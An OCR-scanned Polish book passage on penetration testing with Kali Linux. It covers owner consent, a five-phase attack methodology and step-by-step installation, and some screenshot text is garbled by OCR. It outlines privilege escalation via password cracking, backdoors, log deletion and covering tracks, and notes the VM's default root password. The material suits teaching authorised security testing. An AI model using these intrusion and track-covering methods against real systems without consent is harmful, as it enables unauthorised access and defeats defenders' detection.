M Przeprowadzanie testów penetracyjnych może mieć negatywny wpływ na badany system, spowodować zakłócenia w jego funkcjonowaniu lub nawet poważną awarię. Z tego powodu jedną z najważniejszych spraw do załatwienia przed rozpoczęciem testów penetracyjnych jest uzyskanie pisemnej zgody w łaściciela na wykonanie takiego testu. Przeprowadzanie testów penetracyjnych bez zgody właściciela w wielu krajach jest po prostu nielegalne i może być podstawą do odpowiedzialności karnej. Zgoda na wykonanie testu penetracyjnego powinna obejmować również informacje o tym, kto jest odpowiedzialny za ewentualne szkody powstałe na skutek jego przeprowadzenia i kto powinien zostać powiadomiony w sytuacji, kiedy podczas testu wystąpią zakłócenia w działaniu badanego systemu, i jak należy w takiej sytuacji postępować, aby uniknąć powstawania dalszych szkód. Dobre praktyki nakazują przed rozpoczęciem testu powiadomić właściciela systemu o ryzyku związanym z metodami wykorzystywanymi podczas testów penetracyjnych, tak aby wiedział, czego może się spodziewać. Jest to również jeden z powodów, dla których zazwyczaj rekomendujemy przeprowadzanie testów penetracyjnych w stosunkowo ograniczonym zakresie, ponieważ pozwala to na bardziej metodyczne podejście do całego zagadnienia. Polecaną praktyką jest również uzyskanie od zleceniodawcy pisemnego zapewnienia, że w przypadku całkowitej awarii systemu spowodowanej przeprowadzeniem testu penetracyjnego (najgorszy scenariusz) właściciel systemu będzie w stanie przywrócić jego działanie z wykorzystaniem istniejących kopii zapasowych lub innych procedur postępowania przygotowanych na wypadek awarii. Przygotowując zakres prac związanych z przeprowadzeniem testu penetracyjnego, nie powi nieneś również zapominać o precyzyjnym zdefiniowaniu materiałów i raportów, jakich oczekuje właściciel systemu po zakończeniu testu. Pamiętaj, że w realnym świecie hakerzy bardzo często zdobywają niezbędną wiedzę o danym systemie, wykorzystując metody socjotechniczne, gdzie wstępne rozpoznanie polega raczej na „atakowaniu” użytkowników, a nie systemu. Jeżeli jednak zadaniem Twojego testu penetracyjnego ma być sprawdzenie podatności aplikacji internetowej na zdalny atak sieciowy, to zleceniodawca raczej nie będzie oczekiwał, że w raporcie końcowym załączysz szereg informacji, które uda Ci się w socjotechniczny sposób „wyciągnąć” od użytkowni ków. W zakresie prac związanych z testem penetracyjnym powinieneś również precyzyjnie zdefiniować cel całego przedsięwzięcia, tak aby obie strony nie miały żadnych wątpliwości, kiedy taki test można uważać za zakończony. Zazwyczaj formalne zakończenie testu będzie związane z dostarczeniem właścicielowi uzgodnionych w umowie materiałów i raportów końcowych. Pomyślne i satysfakcjonujące dla obu stron przeprowadzenie testu penetracyjnego jest w dużej mierze uzależnione od odpowiedniego wykorzystania narzędzi, czasu i zasobów niezbędnych do jego przeprowadzenia. Efektywniejszy i zoptymalizowany proces oznacza osiągnięcie lepszych rezultatów przy mniejszym nakładzie zasobów. Im większa będzie jakość materiałów i rapor tów końcowych, tym większa szansa na to, że oczekiwania zleceniodawcy zostaną spełnione, co niewątpliwie przyczyni się do wzrostu reputacji pentestera i zwiększy szansę na otrzymanie kolejnych zleceń w przyszłości. Z tego powodu przygotowanie odpowiedniej metodologii prze prowadzania testów penetracyjnych oraz tworzenia raportów końcowych jest niezmiernie ważne.
33
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Testy penetracyjne z wykorzystaniem systemu Kali Linux — założenia System Kali Linux został opracowany tak, aby w jak najlepszy sposób wspierać metodologię przeprowadzania testów penetracyjnych. Niezależnie od tego, czy przeprowadzasz testy typu w hite-box, black-box , czy grey-box i czy korzystasz z systemu Kali Linux, czy innych narzędzi, kolejne etapy postępowania będą zawsze takie same.
Etap 1. Rekonesans Przed rozpoczęciem ataku powinieneś zebrać możliwie najwięcej informacji o systemie i śro dowisku będącym jego celem. Im w ięcej informacji zdobędziesz, tym większą masz szansę na odniesienie sukcesu. Nietrudno zauważyć, że testowanie typu black-box wymaga przeprowa dzenia znacznie bardziej rozbudowanego etapu gromadzenia informacji (etap rekonesansu) niż testy typu w hite-box, ponieważ w tym pierwszym przypadku przystępujesz do realizacji zada nia, nie posiadając początkowo prawie żadnej wiedzy o atakowanym systemie. Etap rekonesansu może obejmować analizę środowiska celu, zbieranie informacji o działających w nim usługach na podstawie analizy nagłówków, monitorowanie zasobów, użytkowników i procesów, skanowanie sieciowe w poszukiwaniu aktywnych hostów, otwartych portów, adresów IP, próby identyfikacji systemów operacyjnych poszczególnych urządzeń, zbieranie informacji od użytkowników za pomocą metod socjotechnicznych, analiza publicznie dostępnych materiałów i wiadomości w portalach społecznościowych i wiele innych. Rekonesans jest zawsze pierwszym etapem każdego testu penetracyjnego, niezależnie od tego, czy chcesz tylko zweryfikować informacje o systemie otrzymane od jego właściciela, czy zbierasz dane o zupełnie nieznanym środowisku. Gromadzenie danych powinieneś zawsze rozpocząć od wyznaczenia środowiska celu na bazie uzgodnionego z właścicielem systemu zakresu testu penetracyjnego. Po zidentyfikowaniu celów ataku możesz rozpocząć zbieranie informacji, takich jak na przykład lista otwartych portów komunikacyjnych, adresy sieciowe celów, lista udostęp nianych usług sieciowych itd. Takie dane posłużą Ci później do przygotowania planu działania, tak aby można było przeprowadzić jak najbardziej miarodajny test przy optymalnym wykorzy staniu posiadanych zasobów. Rezultaty rekonesansu powinny obejmować między innymi listę wszystkich hostów będących przedmiotem testu, listę aplikacji powiązanych z poszczególny mi hostami, listę usług działających na poszczególnych hostach oraz listę ich użytkowników. W menu głównym systemu Kali Linux znajdziesz kategorię o nazwie Inform ation Gathering, gdzie zostało umieszczonych bardzo wiele różnych narzędzi wspomagających fazę rekone sansu, czyli inaczej mówiąc, wspomagających gromadzenie danych o atakowanym systemie. Znaj dziesz tam narzędzia do analizy środowiska sieciowego, centrów danych, sieci bezprzewodowych, serwerów itd.
34
R o z d z ia ł 1. • P rzy g o to w a n ia
fl
Poniżej zamieszczamy listę najważniejszych celów, które powinieneś osiągnąć w fazie rekone sansu: ■
Przygotowanie listy hostów będących przedmiotem testu.
■
Przygotowanie listy udostępnianych i zainstalowanych aplikacji oraz ich zastosowania.
■
Identyfikacja systemów operacyjnych.
■
Identyfikacja otwartych portów.
■
Identyfikacja uruchomionych usług.
■
Zebranie dodatkowych informacji o celach ataku za pomocą pasywnych metod socjotechnicznych (opcjonalnie).
■
Udokumentowanie zebranych informacji.
Etap 2. Wyszukiwanie podatności Po zakończeniu identyfikacji celów i zbierania informacji na ich temat możesz przystąpić do wy szukiwania podatności i luk w zabezpieczeniach. Na tym etapie pentester powinien już w ie dzieć wystarczająco dużo o celach ataku, aby wybrać najbardziej optymalne metody wyszu kiwania słabych stron zabezpieczeń poszczególnych systemów (np. podatności w sposobach działania udostępnianych aplikacji, luki w zabezpieczeniach uruchomionych usług, podatno ści na atak poprzez wybrane porty komunikacyjne i wiele innych). Warto zauważyć, że audyty bezpieczeństwa czy usługi polegające na wyszukiwaniu podatności systemów na atak (ang. vulnerability assessm ent) zazwyczaj kończą się na tym właśnie etapie. Zebranie dokładnych informacji o atakowanym systemie w fazie rekonesansu znacząco ułatwia wyszukiwanie oraz identyfikację podatności i luk w zabezpieczeniach, skraca czas niezbędny do realizacji tego etapu i może bardzo pomagać w obchodzeniu zaimplementowanych mechani zmów bezpieczeństwa. Na przykład wykorzystanie jednego z ogólnych, „szerokopasmowych” skanerów sieciowych do analizy podatności na atak serwera aplikacji internetowych z pewnością zajmie sporo czasu i najprawdopodobniej zaalarmuje właściciela systemu, a może się zdarzyć, że wynikiem takiej operacji będzie tylko zestawienie ogólnych danych o systemie i zainstalo wanych na nim aplikacjach. Z drugiej strony przeskanowanie takiego serwera ukierunkowane na poszukiwanie tylko określonego zestawu podatności, przygotowanego na podstawie danych zebranych w czasie rekonesansu, będzie znacznie trudniejsze do odkrycia, może być zrealizo wane w bardzo krótkim czasie i może przynieść zaskakująco dobre rezultaty (oczywiście „do bre” z punktu widzenia pentestera próbującego przełamać zabezpieczenia systemu). Skanowanie celów w poszukiwaniu podatności na atak może być wykonywane ręcznie lub za pomocą wielu narzędzi pozwalających na mniejsze lub większe zautomatyzowanie takiego pro cesu. W menu systemu Kali Linux znajdziesz takie narzędzia w kategorii Vulnerability A naly sis. Za pomocą dostępnych tam narzędzi możesz wyszukiwać podatności w szerokiej gamie systemów, takich jak serwery, aplikacje internetowe, urządzenia sieciowe, bazy danych itd.
35
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Poniżej zamieszczamy listę najważniejszych celów, które powinieneś osiągnąć w fazie wyszu kiwania podatności: ■
Skanowanie urządzeń i aplikacji w poszukiwaniu podatności i luk w zabezpieczeniach.
■
Identyfikacja systemów i aplikacji podatnych na atak i uszeregowanie ich według priorytetów.
■
Identyfikacja użytkowników podatnych systemów i aplikacji.
■
Udokumentowanie zebranych informacji.
Etap 3. W ykorzystywanie zidentyfikowanych podatności W trzecim etapie przeprowadzania testu penetracyjnego możesz przystąpić do prób wykorzy stywania zidentyfikowanych podatności w celu zweryfikowania, czy stanowią one rzeczywiste zagrożenie dla systemu, i sprawdzenia, czy pozwalają na uzyskanie dostępu do badanego systemu i przechowywanych w nim danych. To właśnie ten etap odróżnia testy penetracyjne od innych, pasywnych usług, takich jak wyszukiwanie podatności czy audyty bezpieczeństwa. Pamiętaj, że wszelkie próby przeprowadzania ataków na wybrane systemy bez uprzedniego uzyskania zgody ich właściciela mogą być nielegalne i stanowić podstawę do odpowiedzialności prawnej. Pomyślne zakończenie fazy w ogromnej mierze zależy od wyników, jakie zostały osiągnięte w po przednich etapach. Metody wykorzystywania luk w zabezpieczeniach są specyficzne i często unikatowe dla każdej luki z osobna, stąd nieumiejętna próba wykorzystania takiej czy innej podatności bardzo często może powodować nieprzewidziane skutki i doprowadzić do zakłóceń w działaniu lub nawet załamania atakowanego systemu. Dobrym rozwiązaniem jest uszerego wanie zidentyfikowanych podatności według ich ważności (czy raczej potencjalnego zagrożenia dla systemu) i opracowanie na tej bazie odpowiedniej strategii ataku. Ataki wykorzystujące znalezione luki w zabezpieczeniach mogą być przeprowadzane ręcznie lub automatycznie, w zależności od tego, co chcemy osiągnąć. Innego podejścia wymaga próba wstrzyknięcia kodu SQ L w celu nieautoryzowanego uzyskania dostępu do aplikacji internetowej, a zupełnie innego próba zastosowania metod socjotechnicznych do wydobycia nazwy konta administratora i jego hasła dostępu od pracowników działu pomocy technicznej IT W menu sys temu Kali Linux znajdziesz osobną kategorię o nazwie E xploitation Tools, zawierającą szereg narzędzi przeznaczonych do wykorzystywania różnego rodzaju podatności, począwszy od luk w zabezpieczeniach określonych usług, aż do narzędzi wspomagających stosowanie metod socjotechnicznych. Poniżej zamieszczamy listę najważniejszych celów, które powinieneś osiągnąć w tym etapie: ■
Dokonać próby wykorzystania zidentyfikowanych podatności i luk w zabezpieczeniach.
■
Przełamać zabezpieczenia systemu i znaleźć punkt zaczepienia do dalszych ataków.
■
Dokonać próby uzyskania nieautoryzowanego dostępu do danych.
■
Dokonać próby wydobycia poufnych informacji od użytkowników z wykorzystaniem metod socjotechnicznych.
36
R o z d z ia ł 1. • P rzy g o to w a n ia
■
Dokonać próby ataku na inne systemy i aplikacje.
■
Udokumentować zebrane informacje.
fl
Etap 4. Podnoszenie uprawnień Uzyskanie dostępu do danego systemu nie zawsze gwarantuje, że osiągniesz założony cel testu penetracyjnego. Bardzo często zdarza się, że pomyślne wykorzystanie danej luki w zabezpie czeniach co prawda daje napastnikowi nieautoryzowany dostęp do systemu i danych, ale tylko w mocno ograniczonym zakresie. W takiej sytuacji napastnik musi spróbować podnieść swoje uprawnienia tak, aby uzyskać pełny dostęp do zasobów systemu, skopiować zastrzeżone dane itd. Podnoszenie uprawnień (ang. Privilege E scalation) może obejmować identyfikację kont użyt kowników, próbę łamania ich haseł czy próby kopiowania danych systemowych. Przykładem może być sytuacja, w której napastnik po uzyskaniu ograniczonego dostępu do systemu loka lizuje plik sh ad ow zawierający dane uwierzytelniające administratora systemu i innych użyt kowników, a następnie próbuje uzyskać hasło administratora za pomocą programów do łama nia haseł. Jeżeli taka próba się powiedzie, napastnik uzyska pełny dostęp do zasobów systemu na prawach administratora. W systemie Kali Linux wbudowano cały szereg narzędzi wspomagających proces podnosze nia uprawnień. Znajdziesz je w menu głównym, w kategoriach Password Attacks oraz Exploitation Tools. Ponieważ większość z tych aplikacji wchodzi w skład różnych pakietów narzędziowych, zostały one pogrupowane w odpowiednich podmenu. Poniżej zamieszczamy listę najważniejszych celów, które powinieneś osiągnąć w tym etapie: ■
Uzyskanie dostępu do zasobów systemu z wykorzystaniem podniesionych uprawnień użytkownika.
■
Uzyskanie informacji o innych kontach użytkowników.
■
Uzyskanie dostępu do innych systemów z wykorzystaniem podniesionych uprawnień użytkownika.
■
Udokumentowanie zebranych informacji.
Etap 5. Utrzymanie zdobytego przyczółka Ostatnim etapem testu penetracyjnego jest utrzymanie zdobytego przyczółka, czyli zapewnienie sobie stałego dostępu do zaatakowanego systemu poprzez znalezienie innych punktów wejścia do systemu oraz — jeżeli to możliwe — zatarcie śladów włamania do systemu. Istnieje duże prawdo podobieństwo, że aktywność związana z próbami penetracji systemu zostanie zauważona przez zespół bezpieczeństwa IT właściciela systemu i wywoła przeciwdziałanie, w wyniku którego luka wykorzystana przez pentestera zostanie zamknięta. Z tego powodu dobrą praktyką jest znale zienie innych punktów wejścia do systemu, co pozwoli pentesterowi na utrzymanie dostępu do systemu, kiedy jedna z dróg zostanie zamknięta. Alternatywną metodą dostępu do systemu
37
fl
K a li L in u x . T e s ty p e n e tra c y jn e
może być zainstalowanie backdoora, utworzenie nowego konta użytkownika z prawami admini stratora systemu, uruchomienie szyfrowanego połączenia tunelowego czy innego połączenia sie ciowego. Innym istotnym aspektem utrzymania zdobytego przyczółka jest zatarcie śladów penetracji syste mu (na ile to możliwe). Takie postępowanie może znacząco utrudnić wykrycie ataku i zredu kować reakcję ze strony zespołu bezpieczeństwa IT właściciela systemu. Proces usuwania śladów włamania może obejmować kasowanie logów użytkowników, maskowanie istniejących ścieżek dostępu do systemu i usuwanie innych śladów penetracji, takich jak komunikaty o wystą pieniu błędów spowodowane aktywnością pentestera. W menu głównym systemu Kali Linux znajdziesz kategorię o nazwie Maintaining Access, w której zamieszczono szereg narzędzi wspomagających utrzymanie zdobytego przyczółka w atakowa nym systemie. Za pomocą tych narzędzi możesz utworzyć i utrzymywać różne rodzaje tylnych w ejść do atakowanego systemu. Poniżej zamieszczamy listę najważniejszych celów, które powinieneś osiągnąć w tym etapie: M Ustanowienie wielu różnych kanałów dostępu do atakowanego systemu. M Zatarcie śladów nieautoryzowanego dostępu do systemu. M Przywrócenie normalnego funkcjonowania systemów, których działanie zostało zakłócone wskutek przeprowadzanego testu penetracyjnego. M Podstawienie fałszywych danych w atakowanym systemie (o ile zostało to ujęte w uzgodnionym zakresie działania pentestera). M Ukrycie komunikacji z atakowanym systemem za pomocą szyfrowania i innych metod. M Udokumentowanie zebranych informacji.
Wprowadzenie do systemu Kali Linux Twórcy systemu BackTrack opublikowali nową dystrybucję systemu Linux, dedykowaną do przeprowadzania testów penetracyjnych, i nadali je j nazwę Kali Linux. BackTrack 5 był ostatnią wydaną wersją dystrybucji BackTrack. Twórcy systemu BackTrack doszli do wniosku, że aby sprostać nowym wyzwaniom, jakie pojawiają się w dziedzinie bezpieczeństwa systemów te leinformatycznych, i nadążać za nowoczesnymi metodami testowania, potrzebny jest zupełnie nowy system. Pierwsza wersja systemu Kali Linux została wydana 13 marca 2013 roku. Kali Linux jest oparty na dystrybucji D ebian i wykorzystuje system plików zgodny ze standardem FH S (ang. Filesystem H ierarchy Standard). W porównaniu z systemem BackTrack Kali Linux ma liczne zalety i został wyposażony w wiele nowych bądź zaktualizowanych narzędzi, które są powiązane z repozytoriami systemu D ebian i synchronizowane cztery razy dziennie. Oznacza to, że użytkownik tego systemu ma zawsze
38
R o z d z ia ł 1. • P rzy g o to w a n ia
fl
do dyspozycji najnowsze wersje pakietów narzędziowych i aktualizacji systemu operacyjnego. Dzięki zaimplementowaniu systemu plików zgodnego ze standardem FH S zdecydowana więk szość narzędzi może być uruchamiana z praktycznie dowolnego miejsca systemu. Kali Linux pozwala również na dostosowanie systemu do indywidualnych potrzeb użytkownika, posiada opcję automatycznej, niewymagającej nadzoru instalacji (ang. u n atten ded instattation) i ofe ruje użytkownikowi bardzo sprawne i elastyczne środowisko pracy. Dystrybucję Kali Linux możesz pobrać ze strony http://w w w .kali.org/.
Konfiguracja systemu Kali Linux Dystrybucję Kali Linux możesz pobrać na kilka różnych sposobów. Jedną z najpopularniejszych metod jest pobieranie pełnego obrazu ISO systemu, który jest dostępny zarówno w wersji 32bitowej, jak i w 64-bitowej. Jeżeli planujesz używanie systemu Kali Linux w maszynie wirtualnej, za pomocą narzędzi takich jak VMware, to możesz pobrać gotowy do użycia obraz maszyny wirtualnej z preinstalowanym systemem Kali Linux. Zaletą takiego rozwiązania je st to, że w tym obrazie jest już zainstalo wany pakiet VMware Tools. Maszyna wirtualna z systemem Kali Linux została przygotowana w wersji 32-bitowej z obsługą rozszerzenia PAE (ang. Physical A ddress Extension). W teorii jądro PAE pozwala systemowi na dostęp do większej ilości pamięci, niż ma to m iejsce w przypadku standardowego, 32-bitowego systemu operacyjnego. Z drugiej jednak strony eksperci w dzie dzinie wirtualizacji niejednokrotnie już spierali się na temat użyteczności rozszerzenia PAE, przedstawiając w swoich dyskusjach co najmniej tyle samo argumentów za, co i przeciw. Nie zależnie jednak od toczących się dyskusji i sporów autorzy niniejszej książki zalecają korzy stanie z gotowej, przygotowanej przez twórców systemu Kali Linux maszyny wirtualnej (o ile oczywiście chcesz używać systemu Kali Linux na platformie wirtualnej).
Uruchamianie systemu Kali Linux z nośnika zewnętrznego System Kali Linux może być uruchomiony bezpośrednio z nośnika zewnętrznego, takiego jak płyta DVD czy pamięć U SB; wtedy nie ma konieczności instalowania systemu na dysku twardym komputera. Korzystanie z takiego rozwiązania jest bardzo proste i wygodne, aczkolwiek ma pewne ograniczenia zarówno wydajnościowe, jak i funkcjonalne. Kali Linux za każdym razem musi załadować uruchamianą aplikację czy narzędzie z nośnika zewnętrznego, co ma oczywi ście negatywny wpływ na jego wydajność, a pewne usługi związane z obsługą urządzeń sprzętowych i aplikacji mogą nie działać poprawnie. Zastosowanie nośnika przeznaczonego tylko do odczytu powoduje dodatkowo, że nie będzie można zapisać zmienionych ustawień systemu, które mogą być niezbędne do jego poprawnego działania. Z tych powodów zdecy dowanie zalecanym rozwiązaniem jest zainstalowanie systemu Kali Linux na dysku twardym komputera (lub w maszynie wirtualnej).
39
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Instalowanie systemu Kali Linux Proces instalowania systemu Kali Linux na dysku twardym komputera jest prosty i bardzo zbliżony do sposobu instalowania innych systemów operacyjnych. Przede wszystkim będziesz potrzebował kompatybilnego komputera. Kali Linux obsługuje platformy i386, amd64 oraz ARM (zarówno w wersji A R M EL, jak i ARM HF). Minimalne wymagania sprzętowe systemu zostały przedstawione poniżej, aczkolwiek do sprawnej pracy zdecydowanie zalecamy zasto sowanie komputera o co najmniej trzykrotnie lepszych parametrach. Kali Linux, jak zresztą praktycznie każdy współczesny system operacyjny, będzie działał zdecydowanie lepiej, jeżeli zostanie uruchomiony na nowoczesnym komputerze wyposażonym w dużą ilość pamięci opera cyjnej. Następnie musisz pobrać ze strony internetowej obraz ISO i zapisać go na płycie DVD lub przygotować wersję instalacyjną na zewnętrznej pamięci U SB. Jeżeli Twój komputer nie posiada napędu DVD czy portu USB, możesz skorzystać z opcji instalacji sieciowej (Kali Linux N etw ork Install). Poniżej przedstawiamy minimalne wymagania sprzętowe dla komputera działającego pod kontrolą systemu Kali Linux: ■
Minimum 8 G B m iejsca na dysku do zainstalowania systemu Kali Linux.
■
W przypadku platform i386 i amd64 minimum 512 M B pamięci RAM.
■
Napęd CD/DVD lub możliwość uruchamiania systemu z przenośnej pamięci USB.
■
Przed rozpoczęciem instalacji będziesz również potrzebował aktywnego połączenia z internetem. Jest to bardzo ważne, ponieważ bez dostępu do sieci nie będziesz mógł skonfigurować dostępu do sieciowych repozytoriów aplikacji i korzystać z nich podczas instalacji. 1. Po uruchomieniu instalatora systemu Kali Linux pojawi się na ekranie okno B oot Install, gdzie możesz wybrać instalację w trybie tekstowym (opcja Text-mode install) lub w trybie graficznym (G raphical install).
40
R o z d z ia ł 1. • P rzy g o to w a n ia
2.
Wybierz w ersję językową instalowanego systemu, kraj oraz preferowany układ klawiatury.
KAU LINUX S e le c t a l a n g u a g e C I io o 'j V t h e la n g u a g e t o b e u s e d f o i t h e i n s t a l l a t i o n p r o c e s s . T h e s e l e c t e d l a n g u a g e w i ll a ls o b e t h e d e f a u l t la n g u a g e t o r t h e i n s t a l l e d s y s te m . k a ry u a y e : C h in e s e ( s im p lif ie d )
-
* :7 (a »
( h in e s e ( t r a d i t i o n a l )
.
*7 (» M )
C r o a t ia n
•
llr v a t s k l
C n d i
•
C e A tln a
D a n is h
•
D ansk
D u tc h
•
N e d e r ta n d s
D /o n g k h a
•
E s p e r a n to
-
E s p e r a n to
E s t o n ia n
-
E e s li
F in n is h
-
Suom i
F re n c h
-
F t a n v a is
G a lic ia n
-
G a le g o
G e o r g ia n
•
J itA d J C 1«
G e rm a n
-
D e u ts c h
r. r o o t
.
[lln u m À
--J
Z Go Back
C o n tin u e
3.
Wpisz nazwę hosta dla systemu Kali Linux. Domyślnie podana jest nazwa kali.
4.
Wybierz hasło dla użytkownika ro o t (administrator systemu). Pamiętaj, że proste hasła nie zapewniają bezpieczeństwa, dlatego powinieneś wybrać silne hasło, złożone z małych i wielkich liter, cyfr i znaków specjalnych.
41
fl
K a li L in u x . T e s ty p e n e tra c y jn e
KALI LINUX
T H EQ U ETEtTO UB E C O M E .TH EMO«Y O U«A EABIETOHEU
5. Następnie instalator poprosi Cię o ustawienie strefy czasowej. Wybierz z listy odpowiednią opcję i kliknij przycisk Continue. Na rysunku przedstawionym poniżej została wybrana strefa E astern (wschodnia).
Teraz instalator rozpocznie proces konfigurowania partycji dysku. Jeżeli instalujesz system Kali Linux w maszynie wirtualnej, wybierz opcję G u ided Install — W hole D isk, co spowoduje usunięcie wszystkich danych z dysku twardego i zainstalowanie systemu Kali Linux. Pamiętaj, że gdy przeprowadzasz
42
R o z d z ia ł 1. • P rzy g o to w a n ia
instalację w maszynie wirtualnej, dane są usuwane tylko i wyłącznie z przypisanego do niej dysku wirtualnego. Jeżeli jesteś doświadczonym użytkownikiem, możesz wybrać opcję M anual, czyli ręczną konfigurację partycji dysku. Kali Linux posiada również opcję partycjonowania z wykorzystaniem menedżera LVM (ang. L o g ica l Volume M anager). LVM pozwala na zarządzanie partycjami i zmianę ich rozmiarów po zakończeniu instalacji. W teorii takie rozwiązanie daje użytkownikowi dużą elastyczność w przypadku zmian w konfiguracji dysków komputera, w praktyce jednak najprawdopodobniej nie będziesz tego potrzebował, jeżeli nie masz żadnych specjalnych wymagań dotyczących podziału na partycje.
v
KAU LINUX
T H fQ M in tm ffO M .n tf iffla T r a iM fM n o H iu
>,
P a r t it io n d is k s T h f I n s t a l l e r r a n g u id e y o u t h r o u g h p a r t i t i o n in g a d is k ( u s in g d i f f e r e n t s t a n d a r d s r h e m e s ) or. I f y o u p r e fe r , y o u t u n d o i t m u r iu o lly . W it h g u id e d p e t i t i o n i n g y o u w i ll s t i l l h a v e «j t h o r i t e l a t e r t o r e v ie w a n d c u s t o m is e t h e r e s u lt s . I f y o u c h o o s e q u i d e d p a r t i t i o n in g f o r a n e n t i r e d is k , y o u w i ll n e x t b e a s k e d w h ic h d is k s h o u ld b e u s e d .
Partitioning m ethod:
G u id e d - u s e e n t i r e d i s k a n d s e t u p LVM G u id e d - u s e e n t i r e d i s k a n d s e t u p e n c r y p t e d LVM M anual
S rre e n s h o t
6. W kolejnym oknie wyświetlone zostanie podsumowanie ustawień instalatora. Jeżeli wszystko wygląda tak, jak powinno, zaznacz opcję Yes (jak przedstawiono na rysunku poniżej) i kliknij przycisk Continue. Instalator rozpocznie proces instalowania systemu Kali Linux na dysku Twojego komputera (zobacz pierwszy rysunek na następnej stronie). 7. System Kali Linux wykorzystuje centralne, sieciowe repozytoria do dystrybucji i aktualizacji pakietów oprogramowania. Jeżeli chcesz zainstalować niezbędne pakiety, musisz skorzystać z odpowiedniego serwera lustrzanego (ang. m irror server). Pakiety są pobierane za pomocą protokołu H TTP Jeżeli Twoja sieć wykorzystuje serwer proxy, będziesz musiał również odpowiednio skonfigurować ustawienia tego serwera (zobacz drugi rysunek na następnej stronie).
43
|
fl
K a li L in u x . T e s ty p e n e tra c y jn e
KALI LINUX
T H EQUETE«*XlB E C O M E .TH EMO«Y O U«A EABIETOHEU
P a r t it io n dP.lt«; If y o u c o n t in u e , t h e c h a n q e s l i s t e d b e l o w w i ll b e w r i t t e n t o t h e d is k s . O t h e r w i s e , y o u w i ll b e a b le t o m a k e f u r t h e r c h a n g e s m a n u a lly . W A R N IN G : T ills w i ll d e s t i o y a ll d a t a o n a n y p a i t i t i o n s y o u h a v e r e m o v e d a s w e l l a s o n t h e p a r t i t i o n s t h a t a re g o in g t o b e fo rm a t te d . t h e p a r t i t i o n f a b l e s o f t h e f o ll o w in g d e v ic e s a r e c h a n g e d : S C S I3 (0 ,0 ,0 ) (■.do) T h e f o ll o w in g p a r t i t i o n s a r e g o in g t o b e f o r m a t t e d : p a r t i t i o n # 1 o f S C S I3 ( 0 ,0 ,0 ) ( s d a ) a s e x t 4 p a r t i t i o n # S o f SCSI:1 ( 0 ,0 ,0 ) ( s d a ) a s s w a p
W rite t h e c h a n q e s to disks?
O
No
<§> |Yes
*
S c re e n s h o t
I
KALI LINUX
C o n tin u e
T H E0W E TE »Y O UB E C O M E .T H EM O R EY O U«A E«8
8. Następnie Kali Linux zapyta Cię, czy chcesz zainstalować program GRUB. Jest to program rozruchowy (ang. b oo t-lo ad er), który pozwala użytkownikowi na wybranie i uruchomienie jednego z wielu systemów operacyjnych zainstalowanych na danym komputerze. W zdecydowanej większości przypadków powinieneś zdecydować się na zainstalowanie tego programu rozruchowego. Jeżeli przygotowujesz komputer do pracy z dwoma systemami operacyjnymi (ang. d u al-b oot configuration), powinieneś się upewnić, że G RU B prawidłowo rozpoznał zainstalowany wcześniej system operacyjny i po uruchomieniu komputera pozwoli Ci
44
R o z d z ia ł 1. • P rzy g o to w a n ia
na wybór odpowiedniego systemu. Jeżeli żaden inny system operacyjny nie zostanie wykryty, po uruchomieniu komputera domyślnie zostanie zainstalowany system Kali Linux.
V
KALI LINUYA
I n s t a ll t h e GRUB b o o t lo a d e r o n a h a r d d is k I t s e e m s t h . i t t h is n o w In s t . i l l . i t In n I', t h e o n ly o p e r a tin g s y s te m o n t h is c o m p u te r. I f s o , It s h o u ld b n s a fe t o I n s t a ll t h e GRUD b o o t lo a d e r t o th e m a s te r b o o t r e c o r d o f y o u r f i r s t h a r d d r iv e . W a r n in g : II t h e in s ta lle r t a ile d t o d e te c t a n o t h e i o p e i a l in g s y s te m t h a t is p r e s e n t o n y o u r c o m p u te r, m o d if y in g I h i* m a s te r b o o l m o l d w ill in .ik e t h . i t o p e r a t in g s y s te m t e m p o r a r ily u n b o o t .ib le , t h o u g h GRIIR c a n b e m a n u a lly c o n flq u r e d l a t e r t o b o o t It. /mt.-W V(/»»GRUR b o o l kutdor to tho master boot rin atd? C NO $
Yes
S c re e n s h o t
9. Gratulacje! W łaśnie zakończyłeś proces instalacji systemu Kali Linux. Teraz usuń nośnik instalacyjny systemu Kali Linux z napędu (płytę DVD, pamięć USB czy nośnik wirtualny) i kliknij przycisk Continue, co spowoduje zrestartowanie systemu i załadowanie wybranego systemu operacyjnego. V
jr .
■
A
r
KALI LINU
"
- «• **.
H n is h t h e i n s ta lla tio n
®
installation complete In s ta lla t io n is c o m p le te , s o i t is tim e t o b o o t i n t o y o u r n e w s y s te m . M a k e s u re t o re m o v e th e i n s ta lla tio n m e d i.i (CD-ROM, flo p p ie s ), s o th a t y o u b o o l in t o th e n e w s y s te m r a th e r th a n r e s t a r t in g t h e in s ta lla tio n .
45
|
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Kali Linux i pierwsze uruchomienie w maszynie wirtualnej W kilku wariantach instalacji systemu Kali Linux zostaniesz poproszony o ustawienie hasła dla użytkownika root. Po załadowaniu i uruchomieniu systemu musisz zalogować się na konto użytkownika ro ot i podać odpowiednie hasło dostępu. Jeżeli jednak chcesz skorzystać z goto wego obrazu maszyny wirtualnej z preinstalowanym systemem Kali Linux, powinieneś zapa miętać, że domyślnie ustawione hasło dla użytkownika ro o t brzmi toor.
Przegląd narzędzi dostępnych w systemie Kali Linux System Kali Linux posiada wbudowany cały szereg narzędzi przeznaczonych do przeprowa dzania testów penetracyjnych. Poszczególne narzędzia są pogrupowane w odpowiednich ka tegoriach menu rozwijanego, jak przedstawiono na rysunku na następnej stronie. ■
Inform ation G athering — są to narzędzia przeznaczone do zbierania informacji 0 atakowanym systemie i urządzeniach sieciowych (wykorzystywane najczęściej w fazie rekonesansu). Znajdziesz tutaj narzędzia pozwalające na gromadzenie różnego rodzaju danych, od rozpoznawania poszczególnych urządzeń, hostów 1 systemów aż do identyfikacji używanych przez nie protokołów komunikacyjnych.
■
V ulnerability A nalysis — w tej sekcji znajdziesz narzędzia przeznaczone do skanowania systemów w poszukiwaniu istniejących podatności i luk w zabezpieczeniach. Zazwyczaj skanowanie tymi narzędziami przeprowadzane jest na systemach zidentyfikowanych w fazie rekonesansu.
46
R o z d z ia ł 1. • P rzy g o to w a n ia
■
